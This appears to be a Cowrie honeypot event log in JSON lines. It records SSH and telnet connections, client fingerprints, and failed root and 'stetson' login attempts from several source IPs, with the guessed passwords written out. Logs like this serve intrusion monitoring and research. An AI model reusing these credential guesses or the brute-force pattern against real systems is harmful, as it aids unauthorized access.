{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:b6:eb:82:9a:16:f7:c1:18:80:93:2c:f5:4c:1c:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhogJRS+NurOY3hVd6L6JmxuN+showZe94+dFP4zF/47UWRGlXGxUVyeSfTPXJJWnZhGSwqlfYztppBL7sFnCbXi/i9i/jVABblgT2iHGjtqCkfAl9Lm3zcWzhGrFgqh9NUl8EcDMkpPBmRpbsc7FsiI+qK0JoU26afwbhWnOnpvSy+UJcg+nr/VRbw903N7h0ztCKCFVEG8jnCx9l/jGWTDG1HrPwk7NdawaklNrlj7tRTCjp6ZZXU0Pw1aVuUB5za28biVTbNYJCRbtqDtTCoxBvHrtiEAAz+DU2BIKb2rUIqLdn3OD+Dc5DkSdo3CZKSUuL94CwmXx1I4UhcRugWYAYTwZobt8ufUJ5TM3e3+RVYbMSn7VRvqtW20Ccjy0hCZ6dslQ0tSv6qaTJRwQr4qz7EX8iHcoLkjChd1sctfLIF2JhA91dO5DhWhkDSWDIluLctQlJc5dPttDAXmlfsbqgly22GQAsU5wpc5utCr1GDrUn7n5my8QXl1gZkN1mabl+8BG8rQVICuyyXOXzVVsqcpjJmh7QyGrsGpWfcl1hnXtTCCMarFjzvWfeqkmo8Zk3Mgg45DHpto38IfYSdBoulgOS76oU8ghOqVKBM8diHQf+L6RfTpqPkF+3rfSPmdC9rKFKGOjphCC0DRgmchM+VECp2x61RkcRWpUy1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:b6:eb:82:9a:16:f7:c1:18:80:93:2c:f5:4c:1c:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.256411Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:b6:eb:82:9a:16:f7:c1:18:80:93:2c:f5:4c:1c:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhogJRS+NurOY3hVd6L6JmxuN+showZe94+dFP4zF/47UWRGlXGxUVyeSfTPXJJWnZhGSwqlfYztppBL7sFnCbXi/i9i/jVABblgT2iHGjtqCkfAl9Lm3zcWzhGrFgqh9NUl8EcDMkpPBmRpbsc7FsiI+qK0JoU26afwbhWnOnpvSy+UJcg+nr/VRbw903N7h0ztCKCFVEG8jnCx9l/jGWTDG1HrPwk7NdawaklNrlj7tRTCjp6ZZXU0Pw1aVuUB5za28biVTbNYJCRbtqDtTCoxBvHrtiEAAz+DU2BIKb2rUIqLdn3OD+Dc5DkSdo3CZKSUuL94CwmXx1I4UhcRugWYAYTwZobt8ufUJ5TM3e3+RVYbMSn7VRvqtW20Ccjy0hCZ6dslQ0tSv6qaTJRwQr4qz7EX8iHcoLkjChd1sctfLIF2JhA91dO5DhWhkDSWDIluLctQlJc5dPttDAXmlfsbqgly22GQAsU5wpc5utCr1GDrUn7n5my8QXl1gZkN1mabl+8BG8rQVICuyyXOXzVVsqcpjJmh7QyGrsGpWfcl1hnXtTCCMarFjzvWfeqkmo8Zk3Mgg45DHpto38IfYSdBoulgOS76oU8ghOqVKBM8diHQf+L6RfTpqPkF+3rfSPmdC9rKFKGOjphCC0DRgmchM+VECp2x61RkcRWpUy1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.260643Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:08:10:0a:d9:a1:62:cf:8b:ea:38:39:58:0a:c2:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHiiXEIDKa2eQ3EgMGZhn15ZtogvAKj4808ANY8xl+bSGNo1ZI73Smuuniqcjmv9FlB2raaLE7EwBo7xu5PvpydPfPBlIrAuWJglG1dekxAp9dHwFCxNW1Mp0C7qLRFY4qbZXaFmWSAADyV2JHXRWPhT7I3B/PzgAlz5ktkJNg0bXEn4fZr7ZhC5jv5ZZvYGr3vD/XPnA2uDiTBe0E22PES4CX9r6rLOdCB0hZiLpzSRDtaehYmFRaMAAPIWs0AD50T64u6xmiNzQ+4KMcjaGSVWShvdqq9ysCl1N+TNcRXJ0FBsxTxJzK59JIGpHGsUUDvgdiNKPWX4UbBqUXr5eCbs4gAaTOWvShGNwJy9NT0imuF5U+aGnBgcyEzQMSoIwVZmjYI1HxBZoQI/7b4Xx4z3Sdbxh9NHzchmLft71uxuogs4uWDngpClzyMv0LIprB+0ojxBkdVVojnHBqnHhwN/ukaJ75OgBC8wPh1aEiLWnF2pgettJlvj8QFGLbHDm55WevUofDgF084xbGEFdrjuvQ5VJkF8m0+xDk+q3wv1yh1luH/0Dxce3EL0v5uTr3jRT8uCdIK3WDDAekI1dKOk0w7xYxZ5WfnRhezLYa8QpC1L0EiRdC+cyPvxpirUssiOop71HoLK7ld+zRrteJS614Jf4wGiglHKrgWbLHqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:08:10:0a:d9:a1:62:cf:8b:ea:38:39:58:0a:c2:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.395732Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:08:10:0a:d9:a1:62:cf:8b:ea:38:39:58:0a:c2:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHiiXEIDKa2eQ3EgMGZhn15ZtogvAKj4808ANY8xl+bSGNo1ZI73Smuuniqcjmv9FlB2raaLE7EwBo7xu5PvpydPfPBlIrAuWJglG1dekxAp9dHwFCxNW1Mp0C7qLRFY4qbZXaFmWSAADyV2JHXRWPhT7I3B/PzgAlz5ktkJNg0bXEn4fZr7ZhC5jv5ZZvYGr3vD/XPnA2uDiTBe0E22PES4CX9r6rLOdCB0hZiLpzSRDtaehYmFRaMAAPIWs0AD50T64u6xmiNzQ+4KMcjaGSVWShvdqq9ysCl1N+TNcRXJ0FBsxTxJzK59JIGpHGsUUDvgdiNKPWX4UbBqUXr5eCbs4gAaTOWvShGNwJy9NT0imuF5U+aGnBgcyEzQMSoIwVZmjYI1HxBZoQI/7b4Xx4z3Sdbxh9NHzchmLft71uxuogs4uWDngpClzyMv0LIprB+0ojxBkdVVojnHBqnHhwN/ukaJ75OgBC8wPh1aEiLWnF2pgettJlvj8QFGLbHDm55WevUofDgF084xbGEFdrjuvQ5VJkF8m0+xDk+q3wv1yh1luH/0Dxce3EL0v5uTr3jRT8uCdIK3WDDAekI1dKOk0w7xYxZ5WfnRhezLYa8QpC1L0EiRdC+cyPvxpirUssiOop71HoLK7ld+zRrteJS614Jf4wGiglHKrgWbLHqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.399999Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:df:34:cb:54:6c:21:d7:71:44:c7:54:0a:f1:ff:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdqwQzufUWAKDSCY5Q9WVB6uXagpGC8hTXF3iphTTFuxdHGRfYTzfOO20Y0maSrTcrDeb0vTd3Ycr6R5ZconsvDYmlrsDH1InVBAncDi6Mf3EN5/5U1J8FFAP+9f2Uh/H9Q7vnVe/otq/LB3m6vTDx9B3jmgUgarUEAzM36wsAY47pY0iJIDWVnsGDgm9SrsvW82MHijmcVa4FJOk/2sb3jcNXOAZvG1+U8zFeIhVj4sByrVkNfdN0dR1pK3CA3ra124rPr/gzeBDrriX9YqUrhTliy0TA/dCC1iEYAq16WWu9CQjBvW5chKG79kzt8YC+ePI+af3OXon1TJge069bqu0IMU8I9r7bO9MXeOltlq0ejv59EFunbTcZCyL/EJBRV3mbuhBt8CzwWTv7V5Tm79X+EJ7AeSldlfRwHOuga7jv2kxACHQSk8ppjE8tEF1fFEcTapQY0i4JFryNT8/ytBgTV8IthdVt+tQ1xl8LlntwsWg8g1/MfCQuJvxhIjs8sIUu3Bp3qVMEAWGNy5z0KrOU5ki/pfq2XqND6YPymTP7+vdjAy3YjIPwPStl45Di5a/QW+Or70BJbax4qZ+WwWIy9WyVWqHoijsBu7i66IW/bYHn2RLw+7H72D6qaJ2rzz3BCTUJdoXLkM+VcJ1ab8fLBIskwsnf2wvFr+AwBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:df:34:cb:54:6c:21:d7:71:44:c7:54:0a:f1:ff:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.535328Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:df:34:cb:54:6c:21:d7:71:44:c7:54:0a:f1:ff:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdqwQzufUWAKDSCY5Q9WVB6uXagpGC8hTXF3iphTTFuxdHGRfYTzfOO20Y0maSrTcrDeb0vTd3Ycr6R5ZconsvDYmlrsDH1InVBAncDi6Mf3EN5/5U1J8FFAP+9f2Uh/H9Q7vnVe/otq/LB3m6vTDx9B3jmgUgarUEAzM36wsAY47pY0iJIDWVnsGDgm9SrsvW82MHijmcVa4FJOk/2sb3jcNXOAZvG1+U8zFeIhVj4sByrVkNfdN0dR1pK3CA3ra124rPr/gzeBDrriX9YqUrhTliy0TA/dCC1iEYAq16WWu9CQjBvW5chKG79kzt8YC+ePI+af3OXon1TJge069bqu0IMU8I9r7bO9MXeOltlq0ejv59EFunbTcZCyL/EJBRV3mbuhBt8CzwWTv7V5Tm79X+EJ7AeSldlfRwHOuga7jv2kxACHQSk8ppjE8tEF1fFEcTapQY0i4JFryNT8/ytBgTV8IthdVt+tQ1xl8LlntwsWg8g1/MfCQuJvxhIjs8sIUu3Bp3qVMEAWGNy5z0KrOU5ki/pfq2XqND6YPymTP7+vdjAy3YjIPwPStl45Di5a/QW+Or70BJbax4qZ+WwWIy9WyVWqHoijsBu7i66IW/bYHn2RLw+7H72D6qaJ2rzz3BCTUJdoXLkM+VcJ1ab8fLBIskwsnf2wvFr+AwBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.540140Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.675810Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53480,"dst_ip":"10.17.0.5","dst_port":23,"session":"051b1c00cc4d","protocol":"telnet","message":"New connection: 50.6.8.71:53480 (10.17.0.5:23) [session: 051b1c00cc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:22.350636Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":35328,"dst_ip":"159.203.135.109","dst_port":22,"session":"184d50aaff79","protocol":"ssh","message":"New connection: 200.77.172.159:35328 (159.203.135.109:22) [session: 184d50aaff79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:30.405423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:30.410861Z","src_ip":"200.77.172.159","session":"184d50aaff79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:30.480577Z","src_ip":"200.77.172.159","session":"184d50aaff79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54692,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2e5847c66f","protocol":"telnet","message":"New connection: 50.6.8.71:54692 (10.17.0.5:23) [session: 2a2e5847c66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:30.676873Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"yong123","message":"login attempt [root/yong123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:30.789854Z","src_ip":"200.77.172.159","session":"184d50aaff79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03244161605835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:31.068362Z","src_ip":"50.6.8.71","session":"73ba845384fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:31.862723Z","src_ip":"200.77.172.159","session":"184d50aaff79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54706,"dst_ip":"10.17.0.5","dst_port":23,"session":"b317fa0c64c6","protocol":"telnet","message":"New connection: 50.6.8.71:54706 (10.17.0.5:23) [session: b317fa0c64c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:32.378908Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":57238,"dst_ip":"159.203.135.109","dst_port":22,"session":"725c5ada1dba","protocol":"ssh","message":"New connection: 213.209.159.56:57238 (159.203.135.109:22) [session: 725c5ada1dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:35.867207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:35.876747Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:35.967647Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson","message":"login attempt [stetson/stetson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:36.367546Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson1","message":"login attempt [stetson/stetson1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:37.452485Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.476293802261353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:37.987540Z","src_ip":"50.6.8.71","session":"0f311a183b21","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson123","message":"login attempt [stetson/stetson123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:38.538282Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16065764427185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:39.017909Z","src_ip":"50.6.8.71","session":"80a011ea826b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson1234","message":"login attempt [stetson/stetson1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:39.624436Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stetson","password":"stetson12345","message":"login attempt [stetson/stetson12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:40.709539Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:41.795303Z","src_ip":"213.209.159.56","session":"725c5ada1dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac3b1f5e55f5","protocol":"telnet","message":"New connection: 50.6.8.71:38904 (10.17.0.5:23) [session: ac3b1f5e55f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:45.618966Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"433009b4eb54","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 433009b4eb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:46.745261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:46.750658Z","src_ip":"4.210.91.174","session":"433009b4eb54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:46.821249Z","src_ip":"4.210.91.174","session":"433009b4eb54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snake","message":"login attempt [root/snake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:47.135479Z","src_ip":"4.210.91.174","session":"433009b4eb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:48.208521Z","src_ip":"4.210.91.174","session":"433009b4eb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.41876482963562,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:54.769287Z","src_ip":"50.6.8.71","session":"051b1c00cc4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60440,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f1b4f6d5e0","protocol":"telnet","message":"New connection: 50.6.8.71:60440 (10.17.0.5:23) [session: 38f1b4f6d5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:56.600611Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60454,"dst_ip":"10.17.0.5","dst_port":23,"session":"83463ce45d7f","protocol":"telnet","message":"New connection: 50.6.8.71:60454 (10.17.0.5:23) [session: 83463ce45d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:58.202368Z"}
{"eventid":"cowrie.session.closed","duration":30.831575632095337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:03.210380Z","src_ip":"50.6.8.71","session":"b317fa0c64c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72813296318054,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:05.404889Z","src_ip":"50.6.8.71","session":"2a2e5847c66f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75208044052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:17.370867Z","src_ip":"50.6.8.71","session":"ac3b1f5e55f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48014,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a32cb0aaf5d","protocol":"telnet","message":"New connection: 50.6.8.71:48014 (10.17.0.5:23) [session: 1a32cb0aaf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:19.574208Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53638,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7a63205281","protocol":"telnet","message":"New connection: 50.6.8.71:53638 (10.17.0.5:23) [session: 7b7a63205281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:26.302076Z"}
{"eventid":"cowrie.session.closed","duration":31.220742225646973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:27.821223Z","src_ip":"50.6.8.71","session":"38f1b4f6d5e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25577139854431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:29.458106Z","src_ip":"50.6.8.71","session":"83463ce45d7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":35108,"dst_ip":"159.203.135.109","dst_port":22,"session":"b086b5fc9eba","protocol":"ssh","message":"New connection: 94.159.98.239:35108 (159.203.135.109:22) [session: b086b5fc9eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:29.579360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:44:29.605620Z","src_ip":"94.159.98.239","session":"b086b5fc9eba","protocol":"ssh"}
